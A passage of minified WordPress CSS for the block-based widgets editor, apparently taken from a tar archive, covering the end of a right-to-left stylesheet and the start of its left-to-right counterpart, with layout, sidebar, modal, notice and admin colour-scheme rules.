(min-width:782px){.interface-interface-skeleton__content{z-index:auto}}.interface-interface-skeleton__secondary-sidebar,.interface-interface-skeleton__sidebar{background:#fff;bottom:0;color:#1e1e1e;flex-shrink:0;left:0;position:absolute;right:0;top:0;z-index:100000}@media (min-width:782px){.interface-interface-skeleton__secondary-sidebar,.interface-interface-skeleton__sidebar{position:relative!important;width:auto}.is-sidebar-opened .interface-interface-skeleton__secondary-sidebar,.is-sidebar-opened .interface-interface-skeleton__sidebar{z-index:90}}.interface-interface-skeleton__sidebar{overflow:auto}@media (min-width:782px){.interface-interface-skeleton__sidebar{border-right:1px solid #e0e0e0}.interface-interface-skeleton__secondary-sidebar{border-left:1px solid #e0e0e0}}.interface-interface-skeleton__header{border-bottom:1px solid #e0e0e0;color:#1e1e1e;flex-shrink:0;height:auto;z-index:30}.interface-interface-skeleton__footer{background-color:#fff;border-top:1px solid #e0e0e0;bottom:0;color:#1e1e1e;display:none;flex-shrink:0;height:auto;position:absolute;right:0;width:100%;z-index:90}@media (min-width:782px){.interface-interface-skeleton__footer{display:flex}}.interface-interface-skeleton__footer .block-editor-block-breadcrumb{align-items:center;background:#fff;display:flex;font-size:13px;height:24px;padding:0 18px;z-index:30}.interface-interface-skeleton__actions{background:#fff;bottom:auto;color:#1e1e1e;left:0;position:fixed!important;right:auto;top:-9999em;width:100vw;z-index:100000}@media (min-width:782px){.interface-interface-skeleton__actions{width:280px}}.interface-interface-skeleton__actions:focus,.interface-interface-skeleton__actions:focus-within{bottom:0;top:auto}.is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{top:46px}@media (min-width:782px){.is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{border-right:1px solid #ddd;top:32px}.is-fullscreen-mode .is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-fullscreen-mode .is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{top:0}}.interface-more-menu-dropdown{margin-right:-4px}.interface-more-menu-dropdown .components-button{padding:0 2px;width:auto}@media (min-width:600px){.interface-more-menu-dropdown{margin-right:0}.interface-more-menu-dropdown .components-button{padding:0 4px}}.interface-more-menu-dropdown__content .components-popover__content{min-width:280px}@media (min-width:480px){.interface-more-menu-dropdown__content .components-popover__content{max-width:480px}}.interface-more-menu-dropdown__content .components-popover__content .components-dropdown-menu__menu{padding:0}.components-popover.interface-more-menu-dropdown__content{z-index:99998}.interface-pinned-items{display:flex;gap:4px;margin-left:-4px}.interface-pinned-items .components-button{display:none;margin:0}.interface-pinned-items .components-button[aria-controls="edit-post:block"],.interface-pinned-items .components-button[aria-controls="edit-post:document"],.interface-pinned-items .components-button[aria-controls="edit-site:block-inspector"],.interface-pinned-items .components-button[aria-controls="edit-site:global-styles"],.interface-pinned-items .components-button[aria-controls="edit-site:template"]{display:flex}.interface-pinned-items .components-button svg{max-height:24px;max-width:24px}@media (min-width:600px){.interface-pinned-items .components-button{display:flex}.interface-preferences-modal{height:calc(100% - 120px);width:calc(100% - 32px)}}@media (min-width:782px){.interface-preferences-modal{width:750px}}@media (min-width:960px){.interface-preferences-modal{height:70%}}@media (max-width:781px){.interface-preferences-modal .components-modal__content{padding:0}}.interface-preferences__tabs .components-tab-panel__tabs{position:absolute;right:16px;top:84px;width:160px}.interface-preferences__tabs .components-tab-panel__tabs .components-tab-panel__tabs-item{border-radius:2px;font-weight:400}.interface-preferences__tabs .components-tab-panel__tabs .components-tab-panel__tabs-item.is-active{background:#f0f0f0;box-shadow:none;font-weight:500}.interface-preferences__tabs .components-tab-panel__tabs .components-tab-panel__tabs-item.is-active:after{content:none}.interface-preferences__tabs .components-tab-panel__tabs .components-tab-panel__tabs-item:focus:not(:disabled){box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:2px solid transparent}.interface-preferences__tabs .components-tab-panel__tabs .components-tab-panel__tabs-item:focus-visible:before{content:none}.interface-preferences__tabs .components-tab-panel__tab-content{margin-right:160px;padding-right:24px}@media (max-width:781px){.interface-preferences__provider{height:100%}}.interface-preferences-modal__section{margin:0 0 2.5rem}.interface-preferences-modal__section:last-child{margin:0}.interface-preferences-modal__section-legend{margin-bottom:8px}.interface-preferences-modal__section-title{font-size:.9rem;font-weight:600;margin-top:0}.interface-preferences-modal__section-description{color:#757575;font-size:12px;font-style:normal;margin:-8px 0 8px}.interface-preferences-modal__option+.interface-preferences-modal__option{margin-top:16px}.interface-preferences-modal__option .components-base-control__help{margin-right:48px;margin-top:0}.wp-block[data-type="core/widget-area"]{margin-left:auto;margin-right:auto;max-width:700px}.wp-block[data-type="core/widget-area"] .components-panel__body>.components-panel__body-title{background:#fff;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;height:48px;margin:0;position:relative;transform:translateZ(0);z-index:1}.wp-block[data-type="core/widget-area"] .components-panel__body>.components-panel__body-title:hover{background:#fff}.wp-block[data-type="core/widget-area"] .block-list-appender.wp-block{position:relative;width:auto}.wp-block[data-type="core/widget-area"] .editor-styles-wrapper .wp-block.wp-block.wp-block.wp-block.wp-block{max-width:100%}.wp-block[data-type="core/widget-area"] .components-panel__body.is-opened{padding:0}.blocks-widgets-container .wp-block-widget-area__inner-blocks.editor-styles-wrapper{margin:0;padding:0}.blocks-widgets-container .wp-block-widget-area__inner-blocks.editor-styles-wrapper>.block-editor-block-list__layout{margin-top:-48px;min-height:32px;padding:72px 16px 16px}.wp-block-widget-area__highlight-drop-zone{outline:var(--wp-admin-border-width-focus) solid var(--wp-admin-theme-color)}body.is-dragging-components-draggable .wp-block[data-type="core/widget-area"] .components-panel__body>.components-panel__body-title,body.is-dragging-components-draggable .wp-block[data-type="core/widget-area"] .components-panel__body>.components-panel__body-title *{pointer-events:none}.edit-widgets-error-boundary{box-shadow:0 .7px 1px rgba(0,0,0,.15),0 2.7px 3.8px -.2px rgba(0,0,0,.15),0 5.5px 7.8px -.3px rgba(0,0,0,.15),-.1px 11.5px 16.4px -.5px rgba(0,0,0,.15);margin:60px auto auto;max-width:780px;padding:20px}.edit-widgets-header{align-items:center;background:#fff;display:flex;height:60px;justify-content:space-between;overflow:auto}@media (min-width:600px){.edit-widgets-header{overflow:visible}}.edit-widgets-header__navigable-toolbar-wrapper{align-items:center;display:flex;justify-content:center;padding-right:16px}.edit-widgets-header__title{font-size:20px;margin:0 0 0 20px;padding:0}.edit-widgets-header__actions{align-items:center;display:flex;gap:4px;padding-left:16px}@media (min-width:600px){.edit-widgets-header__actions{gap:8px}}.edit-widgets-header-toolbar{border:none}.edit-widgets-header-toolbar>.components-button.has-icon.has-icon.has-icon,.edit-widgets-header-toolbar>.components-dropdown>.components-button.has-icon.has-icon{height:36px;min-width:36px;padding:6px}.edit-widgets-header-toolbar>.components-button.has-icon.has-icon.has-icon.is-pressed,.edit-widgets-header-toolbar>.components-dropdown>.components-button.has-icon.has-icon.is-pressed{background:#1e1e1e}.edit-widgets-header-toolbar>.components-button.has-icon.has-icon.has-icon:focus:not(:disabled),.edit-widgets-header-toolbar>.components-dropdown>.components-button.has-icon.has-icon:focus:not(:disabled){box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color),inset 0 0 0 1px #fff;outline:1px solid transparent}.edit-widgets-header-toolbar>.components-button.has-icon.has-icon.has-icon:before,.edit-widgets-header-toolbar>.components-dropdown>.components-button.has-icon.has-icon:before{display:none}.edit-widgets-header-toolbar__inserter-toggle.edit-widgets-header-toolbar__inserter-toggle{padding-left:8px;padding-right:8px}@media (min-width:600px){.edit-widgets-header-toolbar__inserter-toggle.edit-widgets-header-toolbar__inserter-toggle{padding-left:12px;padding-right:12px}}.edit-widgets-header-toolbar__inserter-toggle.edit-widgets-header-toolbar__inserter-toggle:after{content:none}.edit-widgets-header-toolbar__inserter-toggle.edit-widgets-header-toolbar__inserter-toggle svg{transition:transform .2s cubic-bezier(.165,.84,.44,1)}@media (prefers-reduced-motion:reduce){.edit-widgets-header-toolbar__inserter-toggle.edit-widgets-header-toolbar__inserter-toggle svg{transition-delay:0s;transition-duration:0s}}.edit-widgets-header-toolbar__inserter-toggle.edit-widgets-header-toolbar__inserter-toggle.is-pressed svg{transform:rotate(-45deg)}.edit-widgets-keyboard-shortcut-help-modal__section{margin:0 0 2rem}.edit-widgets-keyboard-shortcut-help-modal__section-title{font-size:.9rem;font-weight:600}.edit-widgets-keyboard-shortcut-help-modal__shortcut{align-items:baseline;border-top:1px solid #ddd;display:flex;margin-bottom:0;padding:.6rem 0}.edit-widgets-keyboard-shortcut-help-modal__shortcut:last-child{border-bottom:1px solid #ddd}.edit-widgets-keyboard-shortcut-help-modal__shortcut:empty{display:none}.edit-widgets-keyboard-shortcut-help-modal__shortcut-term{font-weight:600;margin:0 1rem 0 0;text-align:left}.edit-widgets-keyboard-shortcut-help-modal__shortcut-description{flex:1;flex-basis:auto;margin:0}.edit-widgets-keyboard-shortcut-help-modal__shortcut-key-combination{background:none;display:block;margin:0;padding:0}.edit-widgets-keyboard-shortcut-help-modal__shortcut-key-combination+.edit-widgets-keyboard-shortcut-help-modal__shortcut-key-combination{margin-top:10px}.edit-widgets-keyboard-shortcut-help-modal__shortcut-key{border-radius:8%;margin:0 .2rem;padding:.25rem .5rem}.edit-widgets-keyboard-shortcut-help-modal__shortcut-key:last-child{margin:0 .2rem 0 0}.components-panel__header.edit-widgets-sidebar__panel-tabs{border-top:0;justify-content:flex-start;margin-top:0;padding-left:4px;padding-right:0}.components-panel__header.edit-widgets-sidebar__panel-tabs ul{display:flex}.components-panel__header.edit-widgets-sidebar__panel-tabs li{margin:0}.components-panel__header.edit-widgets-sidebar__panel-tabs .components-button.has-icon{display:none;margin-right:auto}@media (min-width:782px){.components-panel__header.edit-widgets-sidebar__panel-tabs .components-button.has-icon{display:flex}}.components-button.edit-widgets-sidebar__panel-tab{background:transparent;border:none;border-radius:0;box-shadow:none;cursor:pointer;font-weight:500;height:48px;margin-right:0;padding:3px 16px;position:relative}.components-button.edit-widgets-sidebar__panel-tab:focus:not(:disabled){box-shadow:none;outline:none;position:relative}.components-button.edit-widgets-sidebar__panel-tab:after{background:var(--wp-admin-theme-color);border-radius:0;bottom:0;content:"";height:calc(var(--wp-admin-border-width-focus)*0);left:0;pointer-events:none;position:absolute;right:0;transition:all .1s linear}@media (prefers-reduced-motion:reduce){.components-button.edit-widgets-sidebar__panel-tab:after{transition-delay:0s;transition-duration:0s}}.components-button.edit-widgets-sidebar__panel-tab.is-active:after{height:calc(var(--wp-admin-border-width-focus)*1);outline:2px solid transparent;outline-offset:-1px}.components-button.edit-widgets-sidebar__panel-tab:before{border-radius:2px;bottom:12px;box-shadow:0 0 0 0 transparent;content:"";left:12px;pointer-events:none;position:absolute;right:12px;top:12px;transition:all .1s linear}@media (prefers-reduced-motion:reduce){.components-button.edit-widgets-sidebar__panel-tab:before{transition-delay:0s;transition-duration:0s}}.components-button.edit-widgets-sidebar__panel-tab:focus-visible:before{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:2px solid transparent}.edit-widgets-widget-areas__top-container{display:flex;padding:16px}.edit-widgets-widget-areas__top-container .block-editor-block-icon{margin-left:16px}.edit-widgets-notices__snackbar{bottom:20px;left:0;padding-left:16px;padding-right:16px;position:fixed;right:0}@media (min-width:783px){.edit-widgets-notices__snackbar{right:160px}}@media (min-width:783px){.auto-fold .edit-widgets-notices__snackbar{right:36px}}@media (min-width:961px){.auto-fold .edit-widgets-notices__snackbar{right:160px}}.folded .edit-widgets-notices__snackbar{right:0}@media (min-width:783px){.folded .edit-widgets-notices__snackbar{right:36px}}body.is-fullscreen-mode .edit-widgets-notices__snackbar{right:0!important}.edit-widgets-notices__dismissible .components-notice,.edit-widgets-notices__pinned .components-notice{border-bottom:1px solid rgba(0,0,0,.2);box-sizing:border-box;margin:0;min-height:60px;padding:0 12px}.edit-widgets-notices__dismissible .components-notice .components-notice__dismiss,.edit-widgets-notices__pinned .components-notice .components-notice__dismiss{margin-top:12px}.edit-widgets-layout__inserter-panel{display:flex;flex-direction:column;height:100%}.edit-widgets-layout__inserter-panel .block-editor-inserter__menu{overflow:hidden}.edit-widgets-layout__inserter-panel-header{display:flex;justify-content:flex-end;padding-left:8px;padding-top:8px}.edit-widgets-layout__inserter-panel-content{height:calc(100% - 44px)}@media (min-width:782px){.edit-widgets-layout__inserter-panel-content{height:100%}}@media (min-width:782px){.blocks-widgets-container .interface-interface-skeleton__header:not(:focus-within){z-index:19}}.edit-widgets-welcome-guide{width:312px}.edit-widgets-welcome-guide__image{background:#00a0d2;margin:0 0 16px}.edit-widgets-welcome-guide__image>img{display:block;max-width:100%;object-fit:cover}.edit-widgets-welcome-guide__heading{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:24px;line-height:1.4;margin:16px 0;padding:0 32px}.edit-widgets-welcome-guide__text{font-size:13px;line-height:1.4;margin:0 0 24px;padding:0 32px}.edit-widgets-welcome-guide__inserter-icon{margin:0 4px;vertical-align:text-top}.edit-widgets-block-editor{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;position:relative}.edit-widgets-block-editor,.edit-widgets-block-editor .block-editor-writing-flow,.edit-widgets-block-editor>div:last-of-type{display:flex;flex-direction:column;flex-grow:1}.edit-widgets-block-editor .edit-widgets-main-block-list{height:100%}.edit-widgets-block-editor .components-button{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px}.edit-widgets-block-editor .components-button.has-icon,.edit-widgets-block-editor .components-button.is-tertiary{padding:6px}.edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed{right:0}@media (min-width:783px){.edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed{right:160px}}@media (min-width:783px){.auto-fold .edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed{right:36px}}@media (min-width:961px){.auto-fold .edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed{right:160px}}.folded .edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed{right:0}@media (min-width:783px){.folded .edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed{right:36px}}body.is-fullscreen-mode .edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed{right:0!important}.edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed{display:block;position:sticky;top:0;width:100%;z-index:31}@media (min-width:782px){.edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed{align-items:center;border-bottom:none;display:flex;height:60px;margin-right:180px;min-height:auto;position:fixed;top:32px;width:calc(100% - 180px)}.edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed.is-collapsed,.edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed:empty{width:auto}.is-fullscreen-mode .edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed{margin-right:240px;top:0}.is-fullscreen-mode .edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed.is-collapsed,.is-fullscreen-mode .edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed:empty{width:auto}.show-icon-labels .edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed{margin-right:80px;width:calc(100% - 140px)}.is-fullscreen-mode .show-icon-labels .edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed{margin-right:144px}.blocks-widgets-container .edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed{margin-right:153.6px}.blocks-widgets-container .edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed.is-collapsed{margin-right:268.8px}}@media (min-width:960px){.edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed,.show-icon-labels .edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed{width:auto}.is-fullscreen-mode .edit-widgets-block-editor .block-editor-block-contextual-toolbar.is-fixed{width:calc(100% - 536px)}}.edit-widgets-editor__list-view-panel{display:flex;flex-direction:column;height:100%;min-width:350px}.edit-widgets-editor__list-view-panel-content{height:calc(100% - 44px);overflow-y:auto;padding:8px}.edit-widgets-editor__list-view-panel-header{align-items:center;border-bottom:1px solid #ddd;display:flex;height:48px;justify-content:space-between;padding-left:4px;padding-right:16px}body.js.appearance_page_gutenberg-widgets,body.js.widgets-php{background:#fff}body.js.appearance_page_gutenberg-widgets #wpcontent,body.js.widgets-php #wpcontent{padding-right:0}body.js.appearance_page_gutenberg-widgets #wpbody-content,body.js.widgets-php #wpbody-content{padding-bottom:0}body.js.appearance_page_gutenberg-widgets #wpbody-content>div:not(.blocks-widgets-container):not(#screen-meta),body.js.appearance_page_gutenberg-widgets #wpfooter,body.js.widgets-php #wpbody-content>div:not(.blocks-widgets-container):not(#screen-meta),body.js.widgets-php #wpfooter{display:none}body.js.appearance_page_gutenberg-widgets .a11y-speak-region,body.js.widgets-php .a11y-speak-region{right:-1px;top:-1px}body.js.appearance_page_gutenberg-widgets ul#adminmenu a.wp-has-current-submenu:after,body.js.appearance_page_gutenberg-widgets ul#adminmenu>li.current>a.current:after,body.js.widgets-php ul#adminmenu a.wp-has-current-submenu:after,body.js.widgets-php ul#adminmenu>li.current>a.current:after{border-left-color:#fff}body.js.appearance_page_gutenberg-widgets .media-frame select.attachment-filters:last-of-type,body.js.widgets-php .media-frame select.attachment-filters:last-of-type{max-width:100%;width:auto}.blocks-widgets-container,.components-modal__frame{box-sizing:border-box}.blocks-widgets-container *,.blocks-widgets-container :after,.blocks-widgets-container :before,.components-modal__frame *,.components-modal__frame :after,.components-modal__frame :before{box-sizing:inherit}@media (min-width:600px){.blocks-widgets-container{bottom:0;left:0;min-height:calc(100vh - 46px);position:absolute;right:0;top:0}}@media (min-width:782px){.blocks-widgets-container{min-height:calc(100vh - 32px)}}.blocks-widgets-container .interface-interface-skeleton__content{background-color:#f0f0f0}.blocks-widgets-container .editor-styles-wrapper{margin:auto;max-width:700px}.edit-widgets-sidebar .components-button.interface-complementary-area__pin-unpin-item{display:none}.js .widgets-php .notice{display:none!important}body.admin-color-light{--wp-admin-theme-color:#0085ba;--wp-admin-theme-color--rgb:0,133,186;--wp-admin-theme-color-darker-10:#0073a1;--wp-admin-theme-color-darker-10--rgb:0,115,161;--wp-admin-theme-color-darker-20:#006187;--wp-admin-theme-color-darker-20--rgb:0,97,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-light{--wp-admin-border-width-focus:1.5px}}body.admin-color-modern{--wp-admin-theme-color:#3858e9;--wp-admin-theme-color--rgb:56,88,233;--wp-admin-theme-color-darker-10:#2145e6;--wp-admin-theme-color-darker-10--rgb:33,69,230;--wp-admin-theme-color-darker-20:#183ad6;--wp-admin-theme-color-darker-20--rgb:24,58,214;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-modern{--wp-admin-border-width-focus:1.5px}}body.admin-color-blue{--wp-admin-theme-color:#096484;--wp-admin-theme-color--rgb:9,100,132;--wp-admin-theme-color-darker-10:#07526c;--wp-admin-theme-color-darker-10--rgb:7,82,108;--wp-admin-theme-color-darker-20:#064054;--wp-admin-theme-color-darker-20--rgb:6,64,84;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-blue{--wp-admin-border-width-focus:1.5px}}body.admin-color-coffee{--wp-admin-theme-color:#46403c;--wp-admin-theme-color--rgb:70,64,60;--wp-admin-theme-color-darker-10:#383330;--wp-admin-theme-color-darker-10--rgb:56,51,48;--wp-admin-theme-color-darker-20:#2b2724;--wp-admin-theme-color-darker-20--rgb:43,39,36;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-coffee{--wp-admin-border-width-focus:1.5px}}body.admin-color-ectoplasm{--wp-admin-theme-color:#523f6d;--wp-admin-theme-color--rgb:82,63,109;--wp-admin-theme-color-darker-10:#46365d;--wp-admin-theme-color-darker-10--rgb:70,54,93;--wp-admin-theme-color-darker-20:#3a2c4d;--wp-admin-theme-color-darker-20--rgb:58,44,77;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-ectoplasm{--wp-admin-border-width-focus:1.5px}}body.admin-color-midnight{--wp-admin-theme-color:#e14d43;--wp-admin-theme-color--rgb:225,77,67;--wp-admin-theme-color-darker-10:#dd382d;--wp-admin-theme-color-darker-10--rgb:221,56,45;--wp-admin-theme-color-darker-20:#d02c21;--wp-admin-theme-color-darker-20--rgb:208,44,33;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-midnight{--wp-admin-border-width-focus:1.5px}}body.admin-color-ocean{--wp-admin-theme-color:#627c83;--wp-admin-theme-color--rgb:98,124,131;--wp-admin-theme-color-darker-10:#576e74;--wp-admin-theme-color-darker-10--rgb:87,110,116;--wp-admin-theme-color-darker-20:#4c6066;--wp-admin-theme-color-darker-20--rgb:76,96,102;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-ocean{--wp-admin-border-width-focus:1.5px}}body.admin-color-sunrise{--wp-admin-theme-color:#dd823b;--wp-admin-theme-color--rgb:221,130,59;--wp-admin-theme-color-darker-10:#d97426;--wp-admin-theme-color-darker-10--rgb:217,116,38;--wp-admin-theme-color-darker-20:#c36922;--wp-admin-theme-color-darker-20--rgb:195,105,34;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-sunrise{--wp-admin-border-width-focus:1.5px}}css/dist/edit-widgets/style.min.css000064400000066444151202620300013331 0ustar00:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.components-panel__header.interface-complementary-area-header__small{background:#fff;padding-right:4px}.components-panel__header.interface-complementary-area-header__small .interface-complementary-area-header__small-title{overflow:hidden;text-overflow:ellipsis;white-space:nowrap;width:100%}@media (min-width:782px){.components-panel__header.interface-complementary-area-header__small{display:none}}.interface-complementary-area-header{background:#fff;padding-right:4px}.interface-complementary-area-header .components-button.has-icon{display:none;margin-left:auto}.interface-complementary-area-header .components-button.has-icon~.components-button{margin-left:0}@media (min-width:782px){.interface-complementary-area-header .components-button.has-icon{display:flex}.components-panel__header+.interface-complementary-area-header{margin-top:0}}.interface-complementary-area{background:#fff;color:#1e1e1e}@media (min-width:600px){.interface-complementary-area{-webkit-overflow-scrolling:touch}}@media (min-width:782px){.interface-complementary-area{width:280px}}.interface-complementary-area .components-panel{border:none;position:relative;z-index:0}.interface-complementary-area .components-panel__header{position:sticky;top:0;z-index:1}.interface-complementary-area .components-panel__header.edit-post-sidebar__panel-tabs{top:48px}@media (min-width:782px){.interface-complementary-area .components-panel__header.edit-post-sidebar__panel-tabs{top:0}}.interface-complementary-area p:not(.components-base-control__help){margin-top:0}.interface-complementary-area h2{color:#1e1e1e;font-size:13px;margin-bottom:1.5em}.interface-complementary-area h3{color:#1e1e1e;font-size:11px;font-weight:500;margin-bottom:1.5em;text-transform:uppercase}.interface-complementary-area hr{border-bottom:1px solid #f0f0f0;border-top:none;margin:1.5em 0}.interface-complementary-area div.components-toolbar,.interface-complementary-area div.components-toolbar-group{box-shadow:none;margin-bottom:1.5em}.interface-complementary-area div.components-toolbar-group:last-child,.interface-complementary-area div.components-toolbar:last-child{margin-bottom:0}.interface-complementary-area .block-editor-skip-to-selected-block:focus{bottom:10px;left:auto;right:10px;top:auto}@media (min-width:782px){body.js.is-fullscreen-mode{height:calc(100% + 32px);margin-top:-32px}body.js.is-fullscreen-mode #adminmenumain,body.js.is-fullscreen-mode #wpadminbar{display:none}body.js.is-fullscreen-mode #wpcontent,body.js.is-fullscreen-mode #wpfooter{margin-left:0}}html.interface-interface-skeleton__html-container{position:fixed;width:100%}@media (min-width:782px){html.interface-interface-skeleton__html-container{position:static;width:auto}}.interface-interface-skeleton{bottom:0;display:flex;flex-direction:row;height:auto;max-height:100%;position:fixed;right:0;top:46px}@media (min-width:783px){.interface-interface-skeleton{top:32px}.is-fullscreen-mode .interface-interface-skeleton{top:0}}.interface-interface-skeleton__editor{display:flex;flex:0 1 100%;flex-direction:column;overflow:hidden}.interface-interface-skeleton{left:0}@media (min-width:783px){.interface-interface-skeleton{left:160px}}@media (min-width:783px){.auto-fold .interface-interface-skeleton{left:36px}}@media (min-width:961px){.auto-fold .interface-interface-skeleton{left:160px}}.folded .interface-interface-skeleton{left:0}@media (min-width:783px){.folded .interface-interface-skeleton{left:36px}}body.is-fullscreen-mode .interface-interface-skeleton{left:0!important}.interface-interface-skeleton__body{display:flex;flex-grow:1;overflow:auto;overscroll-behavior-y:none}@media (min-width:782px){.has-footer .interface-interface-skeleton__body{padding-bottom:25px}}.interface-interface-skeleton__content{display:flex;flex-direction:column;flex-grow:1;overflow:auto;z-index:20}@media (min-width:782px){.interface-interface-skeleton__content{z-index:auto}}.interface-interface-skeleton__secondary-sidebar,.interface-interface-skeleton__sidebar{background:#fff;bottom:0;color:#1e1e1e;flex-shrink:0;left:0;position:absolute;right:0;top:0;z-index:100000}@media (min-width:782px){.interface-interface-skeleton__secondary-sidebar,.interface-interface-skeleton__sidebar{position:relative!important;width:auto}.is-sidebar-opened .interface-interface-skeleton__secondary-sidebar,.is-sidebar-opened .interface-interface-skeleton__sidebar{z-index:90}}.interface-interface-skeleton__sidebar{overflow:auto}@media (min-width:782px){.interface-interface-skeleton__sidebar{border-left:1px solid #e0e0e0}.interface-interface-skeleton__secondary-sidebar{border-right:1px solid #e0e0e0}}.interface-interface-skeleton__header{border-bottom:1px solid #e0e0e0;color:#1e1e1e;flex-shrink:0;height:auto;z-index:30}.interface-interface-skeleton__footer{background-color:#fff;border-top:1px solid #e0e0e0;bottom:0;color:#1e1e1e;display:none;flex-shrink:0;height:auto;left:0;position:absolute;width:100%;z-index:90}@media (min-width:782px){.interface-interface-skeleton__footer{display:flex}}.interface-interface-skeleton__footer .block-editor-block-breadcrumb{align-items:center;background:#fff;display:flex;font-size:13px;height:24px;padding:0 18px;z-index:30}.interface-interface-skeleton__actions{background:#fff;bottom:auto;color:#1e1e1e;left:auto;position:fixed!important;right:0;top:-9999em;width:100vw;z-index:100000}@media (min-width:782px){.interface-interface-skeleton__actions{width:280px}}.interface-interface-skeleton__actions:focus,.interface-interface-skeleton__actions:focus-within{bottom:0;top:auto}.is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{top:46px}@media (min-width:782px){.is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{border-left:1px solid #ddd;top:32px}.is-fullscreen-mode .is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-fullscreen-mode .is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{top:0}}.interface-more-menu-dropdown{margin-left:-4px}.interface-more-menu-dropdown .components-button{padding:0 2px;width:auto}@media (min-width:600px){.interface-more-menu-dropdown{margin-left:0}.interface-more-menu-dropdown .components-button{padding:0 4px}}.interface-more-menu-dropdown__content .components-popover__content{min-width:280px}@media (min-width:480px){.interface-more-menu-dropdown__content .components-popover__content{max-width:480px}}.interface-more-menu-dropdown__content .components-popover__content .components-dropdown-menu__menu{padding:0}.components-popover.interface-more-menu-dropdown__content{z-index:99998}.interface-pinned-items{display:flex;gap:4px;margin-right:-4px}.interface-pinned-items .components-button{display:none;margin:0}.interface-pinned-items .components-button[aria-controls="edit-post:block"],.interface-pinned-items .components-button[aria-controls="edit-post:document"],.interface-pinned-items .components-button[aria-controls="edit-site:block-inspector"],.interface-pinned-items .components-button[aria-controls="edit-site:global-styles"],.interface-pinned-items .components-button[aria-controls="edit-site:template"]{display:flex}.interface-pinned-items .components-button svg{max-height:24px;max-width:24px}@media (min-width:600px){.interface-pinned-items .components-button{display:flex}.interface-preferences-modal{height:calc(100% - 120px);width:calc(100% - 32px)}}@media (min-width:782px){.interface-preferences-modal{width:750px}}@media (min-width:960px){.interface-preferences-modal{height:70%}}@media (max-width:781px){.interface-preferences-modal .components-modal__content{padding:0}}.interface-preferences__tabs .components-tab-panel__tabs{left:16px;position:absolute;top:84px;width:160px}.interface-preferences__tabs .components-tab-panel__tabs .components-tab-panel__tabs-item{border-radius:2px;font-weight:400}.interface-preferences__tabs .components-tab-panel__tabs .components-tab-panel__tabs-item.is-active{background:#f0f0f0;box-shadow:none;font-weight:500}.interface-preferences__tabs .components-tab-panel__tabs .components-tab-panel__tabs-item.is-active:after{content:none}.interface-preferences__tabs .components-tab-panel__tabs .components-tab-panel__tabs-item:focus:not(:disabled){box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:2px solid transparent}.interface-preferences__tabs .components-tab-panel__tabs .components-tab-panel__tabs-item:focus-visible:before{content:none}.interface-preferences__tabs .components-tab-panel__tab-content{margin-left:160px;padding-left:24px}@media (max-width:781px){.interface-preferences__provider{height:100%}}.interface-preferences-modal__section{margin:0 0 